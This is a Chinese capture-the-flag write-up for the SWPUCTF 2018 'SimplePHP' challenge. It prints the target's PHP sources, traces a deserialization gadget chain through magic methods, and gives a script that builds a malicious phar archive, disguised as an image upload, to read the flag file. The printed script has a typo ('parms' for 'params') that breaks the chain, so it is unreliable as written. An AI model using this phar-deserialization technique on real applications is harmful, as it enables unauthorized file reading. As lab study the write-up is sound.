[SWPUCTF 2018]SimplePHP

任意文件包含？

大概有这几个文件。可以读取file.php，function.php，class.php，base.php文件的源码

file.php

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<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
    // 这里传的 $file 到 class.php文件中去形成文件读取了
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

function.php

文件

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<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

base.php

前端展示

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<?php 
    session_start(); 
?> 
<!DOCTYPE html> 
<html> 
<head> 
    <meta charset="utf-8"> 
    <title>web3</title> 
    <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> 
    <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> 
    <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> 
</head> 
<body> 
    <nav class="navbar navbar-default" role="navigation"> 
        <div class="container-fluid"> 
        <div class="navbar-header"> 
            <a class="navbar-brand" href="index.php">首页</a> 
        </div> 
            <ul class="nav navbar-nav navbra-toggle"> 
                <li class="active"><a href="file.php?file=">查看文件</a></li> 
                <li><a href="upload_file.php">上传文件</a></li> 
            </ul> 
            <ul class="nav navbar-nav navbar-right"> 
                <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> 
            </ul> 
        </div> 
    </nav> 
</body> 
</html> 
<!--flag is in f1ag.php-->

class.php

魔法方法出现最多的一个php文件

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<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)   //  传入点
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));  // 任意文件读取点
        return $text;
    }
}
?>

调用Test类中的file_get()方法任意文件读取，get()会调用file_get()方法，传入$value参数，if判断$this->params[$key]是否有值，没有则传index.php给file_get去读取。但是前面还有一个构造函数__contruct()，定义params为一个数组，__get则去调用get()方法，所以只要触发__get() 方法即可～，__get() 魔术方法在读取不存在的属性自动触发！
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Test::__construct() Test::__get() --> get() --> file_get().file_get_contents() // 读取文件
Show类中的__toString()中的$content = $this->str['str']->source则是获取一个叫source的属性。假设str['str'] = new Test()读取不存在的属性source刚好就能触发__get()方法！
__toString()把对象当成字符输出自动触发～，在C1e4r中__destruct()对象被销毁触发，能打印输出值，只要设置$this->test为new show()对象即可，

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# 构造

C1e4r::__destruct --> Show::toString() -->  Test::__get() -->get()-->file_get_contents()

POP：

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<?php
    
class C1e4r
{
    public $test;
    public $str;
}
class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
}

$c = new C1e4r();
$show = new Show();
$test = new Test();

$test->parms['source']="/var/www/html/f1ag.php";
// 为什么设置'source'? 因为: $this->str['str']->source;
$c->str = $show;
$show->str['str']=$test;

$phar=new Phar("mm.phar");
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($c);     
$phar->addFromString("test.txt", "test"); // 生成签名
$phar->stopBuffering();

function.php限制上传的文件后缀，但是到最后都会被命名为xxxxxx.jpg文件。mm.phar改成png结尾，

上传文件，然后利用phar伪协议http://xxxxx/file.php?file=phar://upload/xxxx.jpg